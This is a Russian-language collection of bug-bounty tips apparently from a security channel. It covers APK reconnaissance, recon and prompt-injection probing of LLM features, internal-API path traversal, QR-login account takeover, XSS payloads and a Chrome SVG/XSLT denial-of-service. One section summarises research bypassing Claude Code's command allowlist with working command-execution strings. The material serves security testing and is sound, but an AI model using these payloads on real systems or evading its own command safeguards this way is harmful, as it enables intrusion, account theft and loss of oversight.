Первичный анализ любого APK-файла: советы багхантеру 📞

Если в скоуп багбаунти-программы входят мобилки — никогда не проходи мимо. Вот основные шаги перед началом анализа исходников:

1️⃣ Проверка подлинности и целостности APK

Прежде чем тратить время на анализ, убедись, что код подлинный:

apksigner verify --print-certs target.apk

Команда выводит отпечаток сертификата подписи — сравни его с официальной версией.

2️⃣ Распаковка и анализ структуры APK с помощью APKTool

APKTool разбирает APK на читаемые компоненты: манифест с разрешениями и компонентами, ресурсы интерфейса и конфигурации, а также Smali-код — представление логики приложения на уровне байткода.

Прежде чем читать код, нужно понять архитектуру приложения. Какие компоненты доступны извне? Какие разрешения запрашиваются? Какие ресурсы могут утекать? APKTool отвечает на эти вопросы.

3️⃣ Распаковка APK

apktool d target.apk -o target_unpacked

В результате появится структура:

⚫️ AndroidManifest.xml — декларация компонентов, разрешений и настроек
⚫️ res/ — ресурсы интерфейса, строки, XML-конфигурации
⚫️ smali/ — дизассемблированный байткод
⚫️ lib/ — нативные библиотеки под разные архитектуры
⚫️ assets/ — дополнительные файлы: базы данных, конфиги, медиа

4️⃣ Извлечение полезной информации из ресурсов

Ресурсы часто раскрывают больше, чем планировали разработчики. Изучай res/values/strings.xml, res/xml/ и другие файлы — туда нередко попадают staging-серверы, dev-эндпоинты и внутренние API.

Пример:

<string name="api_base_url">https://api-staging.target.com</string>
<string name="debug_endpoint">https://internal-admin.target.com</string>

Такие эндпоинты часто защищены слабее прода. Нередко они принимают боевые токены или допускают обход аутентификации.

5️⃣ Автоматический парсинг URL

Вместо ручного просмотра используй apk2url:

git clone https://github.com/n0mi1k/apk2url
./apk2url.sh /path/to/target.apk

Тулза автоматически парсит все URL из кода и ресурсов, формируя список потенциальных API-точек для дальнейшего исследования.

Теперь ты понимаешь структуру приложения: его компоненты, разрешения и точки взаимодействия с сетью. Но структура не показывает логические ошибки и реальное поведение кода — для этого нужно разбираться в реализации 💡

Recon в веб-приложениях с поддержкой AI 😵

AI встраивается в приложения повсеместно. Старые багбаунти-программы стоит пересматривать с фокусом на LLM-фичи — эти поверхности атаки пока слабо изучены.

Начинать стоит с разведки: понять, как именно интегрирована модель и какие точки взаимодействия действительно доступны.

1️⃣ Используй приложение в штатном режиме и составь карту его поведения

Документация, changelog-и, ответы и сообщения об ошибках помогают идентифицировать модель и выявить кастомную логику.

2️⃣ Проверь рендеринг Markdown

Если приложение поддерживает Markdown, проверь, рендерит ли оно HTML или ссылки на изображения. Обращение модели к твоему серверу может привести к утечке сессионных данных или внутренних параметров.

3️⃣ Внедряй пэйлоад в нетипичных местах

Например, в имени пользователя. Некоторые модели отражают эти данные в ответах, особенно если контекст переиспользуется между сессиями или тредами.

4️⃣ Применяй социальную инженерию к модели

Спроси, что она умеет, оформив вопрос как легитимный пользовательский запрос — часто она сама подробно рассказывает о своём функционале.

💡 LLM всё чаще встраивают во флоу поддержки. Старые данные разведки стоит перепроверить по ключевым словам вроде contact us.

Path traversal через внутреннюю переадресацию API 🎆

В микросервисных приложениях фронт или gateway часто не обрабатывают запрос самостоятельно, а проксируют его во внутренний API. Именно здесь появляется нетривиальная поверхность атаки.

Как это выглядит ⤵️

Пользователь отправляет POST-запрос /edit_user:

{
  "user_id": "456",
  "username": "poc"
}

Сервер берет user_id и собирает внутренний запрос:

POST /api/v1/users/456

Если путь к внутреннему API формируется из пользовательского ввода, пробуем path traversal:

{
  "user_id": "../../admin/roles",
  "username": "poc"
}

В итоге бэкенд может обратиться к:

/api/v1/admin/roles

На выходе:

➡️ Обход роутинга
➡️ Доступ к внутренним или привилегированным эндпоинтам
➡️ Без прямого доступа к бэкенду

Даже если сервер не возвращает полный ответ от внутреннего API, многие приложения всё равно отдают коды статуса, флаги успешности или общие сообщения вроде Permission denied.

В более продвинутых кейсах внутренний API может обладать более высокими привилегиями или доступом к ограниченным эндпоинтам.

Как и при эксплуатации SSRF, ты используешь приложение в качестве прокси для обращения к внутренним сервисам — но уже через манипуляцию путями, а не через контроль URL.

Такой внутренний path traversal становится ещё опаснее, если его цеплять с уязвимостями вроде IDOR (для определения валидных путей к ресурсам) или с ошибочно настроенным контролем доступа (для эксплуатации внутренних ролей или токенов).

В конечном счете ты эксплуатируешь не файловую систему напрямую — ты перехватываешь логику бэкенда, заставляя его перемещаться по внутренним API-роутам способами, на которые он не был рассчитан.

Нашел XSS, но тебя блочит Content Security Policy ❓

На cspbypass ты найдешь полную коллекцию рабочих кейсов по обходу политики защиты контента.

Сервис поможет найти любые задокументированные эндпоинты JSONP для достижения XSS ⤵️

Account Takeover через QR-код 👀

Во многих мобильных приложениях есть удобная фича: вход через QR-код. Без email и пароля. Навёл камеру — вошёл. И именно здесь неправильная реализация может привести к ATO.

🔍 Типичный кейс:

QR-код можно отсканировать сторонним приложением → в ответ возвращается ссылка с токеном авторизации:

https://app.com/token/...

🔓 Как показать импакт:

1️⃣ Ссылку с токеном отправляешь жертве через мессенджер

2️⃣ Жертва открывает её со своего телефона → сессия автоматически подтверждается

3️⃣ Сессия жертвы привязывается к браузеру атакующего без дополнительных проверок

Итог: полный account takeover, реализованный только через QR-login, в один клик 🚨

Command injection в Claude Code: извлекаем правильные уроки 🤖

Исследователь из Flatt Security нашел 8 способов обхода белых списков команд в Claude Code. Его подход можно и нужно использовать при поиске багов в веб-приложениях ⤵️

Под капотом Claude Code использовал регулярные выражения, которые разрешали «безопасные» команды вроде man, sort, sed, xargs. Каждый обход эксплуатировал одно из следующих свойств:

1️⃣ Опасные флаги в «безопасных» командах

🧡 man --html='touch /tmp/pwned' man — флаг --html задаёт рендерер, который выполняет произвольные команды

🧡 sort --compress-program=/bin/sh — флаг утилиты сжатия принимает исполняемые файлы

🧡 echo test | sed 's/test/touch \/tmp\/pwned/e' — модификатор e выполняет shell-команды.

2️⃣ Сокращение аргументов в Git

🧡 Git автоматически дополняет сокращённые флаги: --upload-pa превращается в --upload-pack

🧡 Regex-фильтры проверяют точные имена флагов

🧡 git ls-remote --upload-pa='...' обходит блокировку --upload-pack

3️⃣ Различная интерпретация аргументов команды

🧡 xargs -t touch echo — regex считает, что -t обрабатывает следующий аргумент, но -t является логическим значением

🧡 В итоге touch становится исполняемой командой, а не аргументом для -t

4️⃣ Расширение prompt в Bash

echo ${one="$"}${two="$one(touch /tmp/pwned)"}${two@P}

Модификатор @P интерпретирует переменную как строку промпта, который поддерживает подстановку команд.

В сочетании с присваиванием $ это позволяет вырваться из ограниченных контекстов, например при установке переменной one в $.

💬 Какой вывод можно сделать?

Любой контроль, основанный на проверке строк или «разрешённых значений», часто ломается на реальном поведении системы.

Если приложение фильтрует параметры, команды, пути, роли или действия через regex, списки допустимых значений или «безопасные» флаги — ищи расхождение между тем, что проверяет код, и тем, как это интерпретирует движок дальше.

И да: всегда читай документацию целиком. Большинство обходов лежат в man-страницах и спецификациях — просто до них никто не дошёл.

Санитайзеры могут разрешать https://, считая это автоссылкой Markdown. Но если рендерится как сырой HTML вместо тега якоря — перед тобой вектор XSS ⤴️

Маскируем XSS-пэйлоад в виде списка URL-адресов 💨

<https://site.com/x?v1/onfocus=alert().jpg 
https://site.com/x?v1/autofocus=1.jpg 
https://site.com/x?v1/tabindex=1.jpg>

Двусмысленность лексера JavaScript на практике 🤔

Некоторые ключевые слова в JS ожидают выражение. Если после них стоит /, движок трактует это как начало regex.

Следующий / закрывает регулярку, а ещё один / уже воспринимается как оператор деления — и правая часть выполняется:

<script>
    delete/delete; //alert(1)
    typeof/typeof; //alert(2)
    void/void;     //alert(3)
    throw/throw;   //alert(4)
</script>

Как заруинить Chrome пользователя: client-side DoS в Chrome через SVG и XSLT 💨

В рендер-движке Blink SVG, загружаемые как статические изображения, поддерживают XSLT-трансформации. Этим можно злоупотребить для client-side DoS.

Внутри SVG размещается XSLT с большим количеством вложенных <xsl:for-each>. При рендеринге браузер:

⚫️ Начинает активно потреблять память
⚫️ Постепенно замедляет вкладку
⚫️ Через несколько секунд приводит к зависанию или крашу вкладки (иногда браузера целиком)

Атака возможна, если:

➡️ Браузер основан на Blink (Chrome, Edge и др.)
➡️ есть возможность указать удалённое SVG-изображение
➡️ SVG загружается через img или background-image (можно использовать и другие HTML-теги/атрибуты или свойства CSS)
➡️ Отсутствует фильтрация типа контента или SVG

<img src="./dos.svg">
<div style="background-image: url('./dos.svg')">dos</div>

Типичный сценарий — HTML/CSS injection с контролем URL изображения.

Практическая применимость

✅ Client-side DoS и деградация UX
✅ Атаки на публичные страницы: профили, комментарии, ленты
✅ Проверка нестандартных векторов при HTML/CSS injection

Подобные кейсы расширяют понимание поверхности атаки и помогают находить неочевидные client-side векторы, которые могут стать частью более сложных цепочек атак 🤔